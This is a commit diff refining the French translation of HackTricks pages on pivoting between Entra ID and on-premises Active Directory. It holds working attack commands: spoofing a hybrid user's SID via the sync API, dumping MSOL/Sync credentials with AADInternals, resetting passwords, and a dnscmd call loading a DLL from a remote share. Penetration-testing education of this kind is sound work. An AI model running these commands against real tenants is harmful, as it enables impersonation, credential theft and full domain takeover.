mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-02-04 11:07:37 -08:00
Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo
This commit is contained in:
Translator
@@ -10,7 +10,7 @@ Cette section couvre les techniques de pivotement pour passer d'un locataire Ent
|
||||
|
||||
- [**Arc Vulnerable GPO Desploy Script**](az-arc-vulnerable-gpo-deploy-script.md) : Si un attaquant peut contrôler ou créer un compte d'ordinateur AD et accéder au partage de déploiement GPO Azure Arc, il peut déchiffrer le secret de Service Principal stocké et l'utiliser pour s'authentifier à Azure en tant que service principal associé, compromettant ainsi complètement l'environnement Azure lié.
|
||||
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md) : Comment pivoter de Entra ID à AD lorsque Cloud Kerberos Trust est configuré. Un administrateur global dans Entra ID (Azure AD) peut abuser de Cloud Kerberos Trust et de l'API de synchronisation pour usurper l'identité de comptes AD à privilèges élevés, obtenir leurs tickets Kerberos ou hachages NTLM, et compromettre complètement l'Active Directory sur site—même si ces comptes n'ont jamais été synchronisés dans le cloud—créant ainsi un pont d'escalade de privilèges du cloud vers AD.
|
||||
- [**Cloud Kerberos Trust**](az-cloud-kerberos-trust.md) : Comment pivoter de Entra ID à AD lorsque Cloud Kerberos Trust est configuré. Un administrateur global dans Entra ID (Azure AD) peut abuser de Cloud Kerberos Trust et de l'API de synchronisation pour usurper l'identité de comptes AD à privilèges élevés, obtenir leurs tickets Kerberos ou hachages NTLM, et compromettre complètement l'Active Directory sur site—même si ces comptes n'ont jamais été synchronisés dans le cloud—effectivement reliant l'escalade de privilèges cloud à AD.
|
||||
|
||||
- [**Cloud Sync**](az-cloud-sync.md) : Comment abuser de Cloud Sync pour passer du cloud à l'AD sur site et vice versa.
|
||||
|
||||
@@ -34,6 +34,6 @@ Cette section couvre les techniques de pivotement pour passer d'un locataire Ent
|
||||
|
||||
- [**Seamless SSO**](az-seamless-sso.md) : Comment abuser de Seamless SSO pour passer de sur site au cloud.
|
||||
|
||||
- **Une autre façon de pivoter du cloud vers Sur Site est** [**d'abuser d'Intune**](../az-services/intune.md)
|
||||
- **Une autre façon de pivoter du cloud à Sur Site est** [**d'abuser d'Intune**](../az-services/intune.md)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -27,7 +27,7 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
|
||||
Nous avons les conditions suivantes :
|
||||
|
||||
1. Nous avons réussi à pénétrer le réseau interne.
|
||||
2. Nous avons la capacité de créer ou de prendre le contrôle d'un compte d'ordinateur dans Active Directory.
|
||||
2. Nous avons la capacité de créer ou de prendre le contrôle d'un compte d'ordinateur au sein d'Active Directory.
|
||||
3. Nous avons découvert un partage réseau contenant le répertoire AzureArcDeploy.
|
||||
|
||||
Il existe plusieurs méthodes pour obtenir un compte machine dans un environnement AD. L'une des plus courantes consiste à exploiter le quota de compte machine. Une autre méthode implique de compromettre un compte machine via des ACL vulnérables ou diverses autres mauvaises configurations.
|
||||
|
||||
@@ -1,12 +1,12 @@
|
||||
# Az - Cloud Kerberos Trust
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
**Ce post est un résumé de** [**https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/**](https://dirkjanm.io/obtaining-domain-admin-from-azure-ad-via-cloud-kerberos-trust/) **qui peut être consulté pour plus d'informations sur l'attaque. Cette technique est également commentée dans** [**https://www.youtube.com/watch?v=AFay_58QubY**](https://www.youtube.com/watch?v=AFay_58QubY)**.**
|
||||
|
||||
## Vue d'ensemble de la relation de confiance Kerberos
|
||||
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- Cette fonctionnalité (partie de Windows Hello for Business) établit une confiance unidirectionnelle où l'AD sur site **fait confiance à Entra ID** pour émettre des tickets Kerberos pour l'AD. L'activation crée un objet ordinateur **AzureADKerberos$** dans l'AD (apparaissant comme un contrôleur de domaine en lecture seule) et un compte lié **`krbtgt_AzureAD`** (un KRBTGT secondaire). Entra ID détient les clés pour ces comptes et peut émettre des TGT Kerberos "partiels" pour les utilisateurs de l'AD. Les contrôleurs de domaine AD honoreront ces tickets, mais avec des restrictions similaires à celles des RODC : par défaut, **les groupes à privilèges élevés (Domain Admins, Enterprise Admins, etc.) sont *refusés*** et les utilisateurs ordinaires sont autorisés. Cela empêche Entra ID d'authentifier les administrateurs de domaine via la confiance dans des conditions normales. Cependant, comme nous le verrons, un attaquant avec des privilèges Entra ID suffisants peut abuser de ce design de confiance.
|
||||
**Cloud Kerberos Trust (Entra ID -> AD)** -- Cette fonctionnalité (partie de Windows Hello for Business) établit une confiance unidirectionnelle où l'AD sur site **fait confiance à Entra ID** pour émettre des tickets Kerberos pour l'AD. L'activer crée un objet ordinateur **AzureADKerberos$** dans l'AD (apparaissant comme un contrôleur de domaine en lecture seule) et un compte lié **`krbtgt_AzureAD`** (un KRBTGT secondaire). Entra ID détient les clés pour ces comptes et peut émettre des TGT Kerberos "partiels" pour les utilisateurs de l'AD. Les contrôleurs de domaine AD honoreront ces tickets, mais avec des restrictions similaires à celles des RODC : par défaut, **les groupes à privilèges élevés (Domain Admins, Enterprise Admins, etc.) sont *refusés*** et les utilisateurs ordinaires sont autorisés. Cela empêche Entra ID d'authentifier les administrateurs de domaine via la confiance dans des conditions normales. Cependant, comme nous le verrons, un attaquant avec des privilèges Entra ID suffisants peut abuser de ce design de confiance.
|
||||
|
||||
## Pivotement d'Entra ID vers l'AD sur site
|
||||
|
||||
@@ -20,7 +20,7 @@
|
||||
|
||||
- Au moins un **compte utilisateur hybride** (existe à la fois dans l'AD et l'AAD) que l'attaquant peut authentifier. Cela pourrait être obtenu en connaissant ou en réinitialisant ses identifiants ou en assignant une méthode sans mot de passe (par exemple, un Temporary Access Pass) pour générer un Primary Refresh Token (PRT) pour celui-ci.
|
||||
|
||||
- Un **compte cible AD sur site** avec des privilèges élevés qui n'est *pas* dans la politique de "refus" par défaut des RODC. En pratique, une excellente cible est le **compte de synchronisation AD Connect** (souvent nommé **MSOL_***), qui a des droits DCSync (réplication) dans l'AD mais n'est généralement pas membre des groupes d'administration intégrés. Ce compte n'est généralement pas synchronisé avec Entra ID, rendant son SID disponible pour une usurpation sans conflit.
|
||||
- Un **compte cible AD sur site** avec des privilèges élevés qui n'est *pas* dans la politique de "refus" par défaut des RODC. En pratique, une excellente cible est le **compte de synchronisation AD Connect** (souvent nommé **MSOL_***), qui a des droits DCSync (réplication) dans l'AD mais n'est généralement pas membre des groupes d'administrateurs intégrés. Ce compte n'est généralement pas synchronisé avec Entra ID, rendant son SID disponible pour une usurpation sans conflit.
|
||||
|
||||
**Étapes de l'attaque :**
|
||||
|
||||
@@ -31,7 +31,7 @@ roadtx gettokens -u <GlobalAdminUPN> -p <Password> --resource aadgraph
|
||||
```
|
||||
*(Alternativement, `Connect-AADInt` d'AADInternals peut être utilisé pour s'authentifier en tant qu'administrateur global.)*
|
||||
|
||||
2. **Modifier les attributs On-Prem d'un utilisateur hybride :** Profitez de l'**API de synchronisation Azure AD** pour définir l'**identifiant de sécurité (SID) onPremises** et le **SAMAccountName onPremises** d'un utilisateur hybride choisi pour correspondre au compte AD cible. Cela indique effectivement à Azure AD que l'utilisateur cloud correspond au compte on-prem que nous souhaitons usurper. En utilisant l'outil open-source **ROADtools Hybrid** :
|
||||
2. **Modifier les attributs On-Prem d'un utilisateur hybride :** Profitez de l'API de **synchronisation Azure AD** pour définir l'**identifiant de sécurité (SID)** et le **SAMAccountName onPremises** d'un utilisateur hybride choisi pour correspondre au compte AD cible. Cela indique effectivement à Azure AD que l'utilisateur cloud correspond au compte on-prem que nous voulons usurper. En utilisant l'outil open-source **ROADtools Hybrid** :
|
||||
```bash
|
||||
# Example: modify a hybrid user to impersonate the MSOL account
|
||||
python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
@@ -40,7 +40,7 @@ python3 modifyuser.py -u <GlobalAdminUPN> -p <Password>\
|
||||
```
|
||||
> Le `sourceAnchor` (ID immuable) de l'utilisateur est nécessaire pour identifier l'objet Azure AD à modifier. L'outil définit le SID on-prem et le nom de compte SAM de l'utilisateur hybride sur les valeurs de la cible (par exemple, le SID et le SAM du compte MSOL_xxxx). Azure AD interdit normalement de modifier ces attributs via Graph (ils sont en lecture seule), mais l'API du service de synchronisation le permet et les administrateurs globaux peuvent invoquer cette fonctionnalité de synchronisation.
|
||||
|
||||
3. **Obtenir un TGT partiel d'Azure AD :** Après modification, authentifiez-vous en tant qu'utilisateur hybride auprès d'Azure AD (par exemple, en obtenant un PRT sur un appareil ou en utilisant leurs identifiants). Lorsque l'utilisateur se connecte (surtout sur un appareil Windows joint au domaine ou joint à Entra), Azure AD émettra un **TGT Kerberos partiel (TGT**<sub>**AD**</sub>) pour ce compte car la confiance Kerberos Cloud est activée. Ce TGT partiel est chiffré avec la clé RODC AzureADKerberos$ et inclut le **SID cible** que nous avons défini. Nous pouvons simuler cela en demandant un PRT pour l'utilisateur via ROADtools :
|
||||
3. **Obtenir un TGT partiel d'Azure AD :** Après modification, authentifiez-vous en tant qu'utilisateur hybride auprès d'Azure AD (par exemple, en obtenant un PRT sur un appareil ou en utilisant leurs identifiants). Lorsque l'utilisateur se connecte (surtout sur un appareil Windows joint au domaine ou à Entra), Azure AD émettra un **TGT Kerberos partiel (TGT**<sub>**AD**</sub>) pour ce compte car la confiance Kerberos Cloud est activée. Ce TGT partiel est chiffré avec la clé AzureADKerberos$ RODC et inclut le **SID cible** que nous avons défini. Nous pouvons simuler cela en demandant un PRT pour l'utilisateur via ROADtools :
|
||||
```bash
|
||||
roadtx getprt -u <HybridUserUPN> -p <Password> -d <DeviceID_or_Cert>
|
||||
```
|
||||
@@ -72,4 +72,4 @@ Cela extrait tous les hachages de mots de passe des utilisateurs AD, donnant à
|
||||
|
||||
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,16 +1,16 @@
|
||||
# Az - Cloud Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
**Cloud Sync** est essentiellement la nouvelle façon d'Azure de **synchroniser les utilisateurs d'AD dans Entra ID**.
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync est une nouvelle offre de Microsoft conçue pour répondre et atteindre vos objectifs d'identité hybride pour la synchronisation des utilisateurs, groupes et contacts vers Microsoft Entra ID. Cela est accompli en utilisant l'agent de provisionnement cloud Microsoft Entra au lieu de l'application Microsoft Entra Connect. Cependant, il peut être utilisé en parallèle avec Microsoft Entra Connect Sync.
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/what-is-cloud-sync) Microsoft Entra Cloud Sync est une nouvelle offre de Microsoft conçue pour répondre et atteindre vos objectifs d'identité hybride pour la synchronisation des utilisateurs, groupes et contacts vers Microsoft Entra ID. Cela est accompli en utilisant l'agent de provisionnement cloud Microsoft Entra au lieu de l'application Microsoft Entra Connect. Cependant, il peut être utilisé en parallèle avec Microsoft Entra Connect Sync.
|
||||
|
||||
### Principaux générés
|
||||
|
||||
Pour que cela fonctionne, certains principaux sont créés à la fois dans Entra ID et le répertoire On-Premise :
|
||||
Pour que cela fonctionne, certains principaux sont créés à la fois dans Entra ID et le répertoire sur site :
|
||||
|
||||
- Dans Entra ID, l'utilisateur `On-Premises Directory Synchronization Service Account` (`ADToAADSyncServiceAccount@carloshacktricks.onmicrosoft.com`) est créé avec le rôle **`Directory Synchronization Accounts`** (`d29b2b05-8046-44ba-8758-1e26182fcf32`).
|
||||
|
||||
@@ -19,7 +19,7 @@ Pour que cela fonctionne, certains principaux sont créés à la fois dans Entra
|
||||
|
||||
- Dans Entra ID, le groupe **`AAD DC Administrators`** est également créé sans membres ni propriétaires. Ce groupe est utile si [`Microsoft Entra Domain Services`](./az-domain-services.md) est utilisé.
|
||||
|
||||
- Dans l'AD, soit le compte de service **`provAgentgMSA`** est créé avec un SamAccountName comme **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), soit un personnalisé avec [**ces permissions sont nécessaires**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). En général, le compte par défaut est créé.
|
||||
- Dans l'AD, soit le compte de service **`provAgentgMSA`** est créé avec un SamAccountName comme **`pGMSA_<id>$@domain.com`** (`Get-ADServiceAccount -Filter * | Select Name,SamAccountName`), soit un personnalisé avec [**ces permissions sont nécessaires**](https://learn.microsoft.com/en-us/entra/identity/hybrid/cloud-sync/how-to-prerequisites?tabs=public-cloud#custom-gmsa-account). En général, le par défaut est créé.
|
||||
|
||||
> [!WARNING]
|
||||
> Parmi d'autres permissions, le compte de service **`provAgentgMSA`** a des permissions DCSync, permettant **à quiconque qui le compromet de compromettre l'ensemble du répertoire**. Pour plus d'informations sur [DCSync, consultez ceci](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/dcsync.html).
|
||||
@@ -36,7 +36,7 @@ az-connect-sync.md
|
||||
{{#endref}}
|
||||
|
||||
- **La synchronisation des hachages de mots de passe** peut être activée afin que les utilisateurs puissent **se connecter à Entra ID en utilisant leurs mots de passe d'AD**. De plus, chaque fois qu'un mot de passe est modifié dans AD, il sera mis à jour dans Entra ID.
|
||||
- **Le retour de mot de passe** peut également être activé, permettant aux utilisateurs de modifier leur mot de passe dans Entra ID en synchronisant automatiquement leur mot de passe dans le domaine sur site. Mais selon les [documents actuels](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), il est nécessaire d'utiliser l'agent Connect, alors jetez un œil à la [section Az Connect Sync](./az-connect-sync.md) pour plus d'informations.
|
||||
- **Le retour de mot de passe** peut également être activé, permettant aux utilisateurs de modifier leur mot de passe dans Entra ID en synchronisant automatiquement leur mot de passe dans le domaine sur site. Mais selon la [documentation actuelle](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback#configure-password-writeback), il est nécessaire d'utiliser l'agent Connect, alors jetez un œil à la [section Az Connect Sync](./az-connect-sync.md) pour plus d'informations.
|
||||
- **Le retour de groupes** : Cette fonctionnalité permet aux adhésions de groupe d'Entra ID d'être synchronisées vers l'AD sur site. Cela signifie que si un utilisateur est ajouté à un groupe dans Entra ID, il sera également ajouté au groupe correspondant dans l'AD.
|
||||
|
||||
## Pivotement
|
||||
@@ -127,14 +127,14 @@ C:\Program Files (x86)\Microsoft SDKs\NuGetPackages\: Package 'System.Security.C
|
||||
|
||||
### Entra ID --> AD
|
||||
|
||||
- Si **Password Writeback** est activé, vous pourriez modifier le mot de passe de certains utilisateurs d'Entra ID et si vous avez accès au réseau AD, vous connecter en utilisant ces identifiants. Pour plus d'informations, consultez la section [Az Connect Sync](./az-connect-sync.md) car la réécriture de mot de passe est configurée à l'aide de cet agent.
|
||||
- Si **Password Writeback** est activé, vous pourriez modifier le mot de passe de certains utilisateurs depuis Entra ID et si vous avez accès au réseau AD, vous connecter en utilisant ces identifiants. Pour plus d'informations, consultez la section [Az Connect Sync](./az-connect-sync.md) car la réécriture de mot de passe est configurée à l'aide de cet agent.
|
||||
|
||||
- À ce stade, Cloud Sync permet également **"Microsoft Entra ID to AD"**, mais après un certain temps, j'ai constaté qu'il ne PEUT PAS synchroniser les utilisateurs d'EntraID vers AD et qu'il ne peut synchroniser que les utilisateurs d'EntraID qui ont été synchronisés avec le hachage de mot de passe et proviennent d'un domaine appartenant à la même forêt de domaine que le domaine vers lequel nous synchronisons, comme vous pouvez le lire dans [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
- À ce stade, Cloud Sync permet également **"Microsoft Entra ID to AD"**, mais après trop de temps, j'ai constaté qu'il ne peut PAS synchroniser les utilisateurs d'EntraID vers AD et qu'il ne peut synchroniser que les utilisateurs d'EntraID qui ont été synchronisés avec le hachage de mot de passe et proviennent d'un domaine appartenant à la même forêt de domaine que le domaine vers lequel nous synchronisons, comme vous pouvez le lire dans [https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits](https://learn.microsoft.com/en-us/entra/identity/hybrid/group-writeback-cloud-sync#supported-groups-and-scale-limits):
|
||||
|
||||
> - Ces groupes ne peuvent contenir que des utilisateurs synchronisés sur site et / ou des groupes de sécurité créés dans le cloud supplémentaires.
|
||||
> - Les comptes d'utilisateur sur site qui sont synchronisés et qui sont membres de ce groupe de sécurité créé dans le cloud peuvent provenir du même domaine ou de domaines différents, mais ils doivent tous provenir de la même forêt.
|
||||
> - Les comptes d'utilisateur sur site qui sont synchronisés et sont membres de ce groupe de sécurité créé dans le cloud peuvent provenir du même domaine ou de domaines différents, mais ils doivent tous provenir de la même forêt.
|
||||
|
||||
Ainsi, la surface d'attaque (et l'utilité) de ce service est considérablement réduite, car un attaquant devrait compromettre l'AD initial à partir duquel les utilisateurs sont synchronisés pour compromettre un utilisateur dans l'autre domaine (et les deux doivent apparemment être dans la même forêt).
|
||||
Ainsi, la surface d'attaque (et l'utilité) de ce service est considérablement réduite, car un attaquant devrait compromettre l'AD initial d'où les utilisateurs sont synchronisés pour compromettre un utilisateur dans l'autre domaine (et les deux doivent apparemment être dans la même forêt).
|
||||
|
||||
### Enumeration
|
||||
```bash
|
||||
@@ -148,4 +148,4 @@ az rest \
|
||||
--uri "https://graph.microsoft.com/beta/onPremisesPublishingProfiles('provisioning')/agents/?\$expand=agentGroups" \
|
||||
--headers "Content-Type=application/json"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Connect Sync
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
@@ -31,7 +31,7 @@ Ce composant peut également être utilisé pour **synchroniser les mots de pass
|
||||
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **La synchronisation des hachages de mots de passe** est l'une des méthodes de connexion utilisées pour réaliser une identité hybride. **Azure AD Connect** synchronise un hachage, du hachage, du mot de passe d'un utilisateur d'une instance Active Directory sur site vers une instance Azure AD basée sur le cloud.
|
||||
|
||||
En gros, tous les **utilisateurs** et un **hachage des hachages de mots de passe** sont synchronisés de l'AD sur site vers Azure AD. Cependant, les **mots de passe en clair** ou les **hachages** **originaux** ne sont pas envoyés à Azure AD.
|
||||
Essentiellement, tous les **utilisateurs** et un **hachage des hachages de mots de passe** sont synchronisés de l'AD sur site vers Azure AD. Cependant, les **mots de passe en clair** ou les **hachages** **originaux** ne sont pas envoyés à Azure AD.
|
||||
|
||||
La **synchronisation des hachages** se produit toutes les **2 minutes**. Cependant, par défaut, **l'expiration des mots de passe** et **l'expiration des comptes** ne sont **pas synchronisées** dans Azure AD. Ainsi, un utilisateur dont le **mot de passe sur site est expiré** (non changé) peut continuer à **accéder aux ressources Azure** en utilisant l'ancien mot de passe.
|
||||
|
||||
@@ -56,7 +56,7 @@ Les administrateurs de domaine et d'autres utilisateurs appartenant à certains
|
||||
|
||||
## Pivotement AD --> Entra ID
|
||||
|
||||
### Énumération Connect Sync
|
||||
### Énumération de Connect Sync
|
||||
|
||||
Vérifiez les utilisateurs :
|
||||
```bash
|
||||
@@ -94,7 +94,7 @@ La **configuration chiffrée** est chiffrée avec **DPAPI** et elle contient les
|
||||
|
||||
Vous pouvez trouver un [aperçu complet de la façon dont ces identifiants sont stockés et déchiffrés dans cette présentation](https://www.youtube.com/watch?v=JEIR5oGCwdg).
|
||||
|
||||
### Abus de MSOL\_*
|
||||
### Abuser de MSOL\_\*
|
||||
```bash
|
||||
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
|
||||
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
|
||||
@@ -125,7 +125,7 @@ Cette application est créée sans avoir de rôles de gestion Entra ID ou Azure
|
||||
- `PasswordWriteback.RefreshClient.All`
|
||||
- `PasswordWriteback.RegisterClientVersion.All`
|
||||
|
||||
Il est mentionné que le SP de cette application peut encore être utilisé pour effectuer certaines actions privilégiées en utilisant une API non documentée, mais aucune PoC n'a encore été trouvée à ma connaissance.\
|
||||
Il est mentionné que le SP de cette application peut encore être utilisé pour effectuer certaines actions privilégiées en utilisant une API non documentée, mais aucun PoC n'a encore été trouvé à ma connaissance.\
|
||||
Dans tous les cas, penser que cela pourrait être possible serait intéressant d'explorer davantage comment trouver le certificat pour se connecter en tant que ce principal de service et essayer d'en abuser.
|
||||
|
||||
Ce [blog post](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) publié peu avant le changement d'utilisation de l'utilisateur `Sync_*` à ce principal de service, expliquait que le certificat était stocké à l'intérieur du serveur et qu'il était possible de le trouver, de générer un PoP (Proof of Possession) et un token graphique, et avec cela, être capable d'ajouter un nouveau certificat au principal de service (car un **principal de service** peut toujours s'assigner de nouveaux certificats) et ensuite l'utiliser pour maintenir la persistance en tant que SP.
|
||||
@@ -172,10 +172,10 @@ Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,Obj
|
||||
# Reset password
|
||||
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
|
||||
```
|
||||
Il est également possible de dumper le mot de passe de cet utilisateur.
|
||||
Il est également possible d'extraire le mot de passe de cet utilisateur.
|
||||
|
||||
> [!CAUTION]
|
||||
> Une autre option serait de **attribuer des permissions privilégiées à un principal de service**, que l'utilisateur **Sync** a **les permissions** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
|
||||
> Une autre option serait de **attribuer des autorisations privilégiées à un principal de service**, que l'utilisateur **Sync** a **la permission** de faire, puis **d'accéder à ce principal de service** comme moyen de privesc.
|
||||
|
||||
### SSO Transparent
|
||||
|
||||
@@ -187,8 +187,8 @@ seamless-sso.md
|
||||
|
||||
## Pivotement Entra ID --> AD
|
||||
|
||||
- Si l'écriture de mot de passe est activée, vous pouvez **modifier le mot de passe de n'importe quel utilisateur dans l'AD** qui est synchronisé avec Entra ID.
|
||||
- Si l'écriture de groupes est activée, vous pouvez **ajouter des utilisateurs à des groupes privilégiés** dans Entra ID qui sont synchronisés avec l'AD.
|
||||
- Si la réécriture de mot de passe est activée, vous pouvez **modifier le mot de passe de n'importe quel utilisateur dans l'AD** qui est synchronisé avec Entra ID.
|
||||
- Si la réécriture de groupes est activée, vous pouvez **ajouter des utilisateurs à des groupes privilégiés** dans Entra ID qui sont synchronisés avec l'AD.
|
||||
|
||||
## Références
|
||||
|
||||
@@ -199,4 +199,4 @@ seamless-sso.md
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
@@ -11,17 +11,17 @@ Son objectif principal est de vous permettre d'exécuter des applications hérit
|
||||
Notez que pour synchroniser les utilisateurs générés dans Entra ID (et non synchronisés à partir d'autres annuaires actifs) avec le service de domaine AD, vous devez **changer le mot de passe de l'utilisateur** pour un nouveau afin qu'il puisse être synchronisé avec le nouvel AD. En fait, l'utilisateur n'est pas synchronisé de Microsoft Entra ID vers les Domain Services tant que le mot de passe n'est pas changé.
|
||||
|
||||
> [!WARNING]
|
||||
> Même si vous créez un nouveau domaine Active Directory, vous ne pourrez pas le gérer complètement (sauf en exploitant certaines mauvaises configurations), ce qui signifie qu'en défaut, par exemple, vous ne pouvez pas créer d'utilisateurs directement dans l'AD. Vous les créez en **synchronisant des utilisateurs depuis Entra ID.** Vous pouvez indiquer de synchroniser tous les utilisateurs (même ceux synchronisés à partir d'autres AD sur site), uniquement les utilisateurs cloud (utilisateurs créés dans Entra ID), ou même **les filtrer davantage**.
|
||||
> Même si vous créez un nouveau domaine Active Directory, vous ne pourrez pas le gérer complètement (sauf en exploitant certaines mauvaises configurations), ce qui signifie qu'en règle générale, vous ne pouvez pas créer d'utilisateurs directement dans l'AD. Vous les créez en **synchronisant des utilisateurs depuis Entra ID.** Vous pouvez indiquer de synchroniser tous les utilisateurs (même ceux synchronisés depuis d'autres AD sur site), uniquement les utilisateurs cloud (utilisateurs créés dans Entra ID), ou même **les filtrer davantage**.
|
||||
|
||||
> [!NOTE]
|
||||
> En général, en raison du manque de flexibilité dans la configuration du nouveau domaine et du fait que les AD sont généralement déjà sur site, ce n'est pas l'intégration principale entre Entra ID et AD, mais il est tout de même intéressant de savoir comment le compromettre.
|
||||
|
||||
### Pivoting
|
||||
|
||||
Les membres du groupe **`AAD DC Administrators`** se voient accorder des permissions d'administrateur local sur les VM qui sont jointes au domaine géré (mais pas dans les contrôleurs de domaine) car ils sont ajoutés au groupe des administrateurs locaux. Les membres de ce groupe peuvent également utiliser **Remote Desktop pour se connecter à distance aux VM jointes au domaine**, et sont également membres des groupes :
|
||||
Les membres du groupe généré **`AAD DC Administrators`** se voient accorder des permissions d'administrateur local sur les VM qui sont jointes au domaine géré (mais pas dans les contrôleurs de domaine) car ils sont ajoutés au groupe des administrateurs locaux. Les membres de ce groupe peuvent également utiliser **Remote Desktop pour se connecter à distance aux VM jointes au domaine**, et sont également membres des groupes :
|
||||
|
||||
- **`Denied RODC Password Replication Group`** : Il s'agit d'un groupe qui spécifie les utilisateurs et groupes dont les mots de passe ne peuvent pas être mis en cache sur les RODC (Read-Only Domain Controllers).
|
||||
- **`Group Policy Creators Owners`** : Ce groupe permet aux membres de créer des stratégies de groupe dans le domaine. Cependant, ses membres ne peuvent pas appliquer des stratégies de groupe aux utilisateurs ou groupes ni modifier les GPO existantes, donc ce n'est pas très intéressant dans cet environnement.
|
||||
- **`Group Policy Creators Owners`** : Ce groupe permet aux membres de créer des stratégies de groupe dans le domaine. Cependant, ses membres ne peuvent pas appliquer de stratégies de groupe aux utilisateurs ou groupes ni modifier les GPO existantes, donc ce n'est pas très intéressant dans cet environnement.
|
||||
- **`DnsAdmins`** : Ce groupe permet de gérer les paramètres DNS et a été abusé par le passé pour [escalader des privilèges et compromettre le domaine](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins), cependant après avoir testé l'attaque dans cet environnement, il a été vérifié que la vulnérabilité est corrigée :
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
@@ -83,4 +83,4 @@ fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,17 +1,17 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Informations de base
|
||||
|
||||
[Selon la documentation :](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**La fédération** est un ensemble de **domaines** qui ont établi une **confiance**. Le niveau de confiance peut varier, mais inclut généralement **l'authentification** et inclut presque toujours **l'autorisation**. Une fédération typique pourrait inclure un **certain nombre d'organisations** qui ont établi une **confiance** pour un **accès partagé** à un ensemble de ressources.
|
||||
>Vous pouvez **fédérer votre environnement sur site** **avec Azure AD** et utiliser cette fédération pour l'authentification et l'autorisation. Cette méthode de connexion garantit que toute **authentification des utilisateurs se fait sur site**. Cette méthode permet aux administrateurs de mettre en œuvre des niveaux de contrôle d'accès plus rigoureux. La fédération avec **AD FS** et PingFederate est disponible.
|
||||
>Vous pouvez **fédérer votre environnement sur site** **avec Azure AD** et utiliser cette fédération pour l'authentification et l'autorisation. Cette méthode de connexion garantit que toute **authentification des utilisateurs se produit sur site**. Cette méthode permet aux administrateurs de mettre en œuvre des niveaux de contrôle d'accès plus rigoureux. La fédération avec **AD FS** et PingFederate est disponible.
|
||||
|
||||
<figure><img src="../../../../images/image (154).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
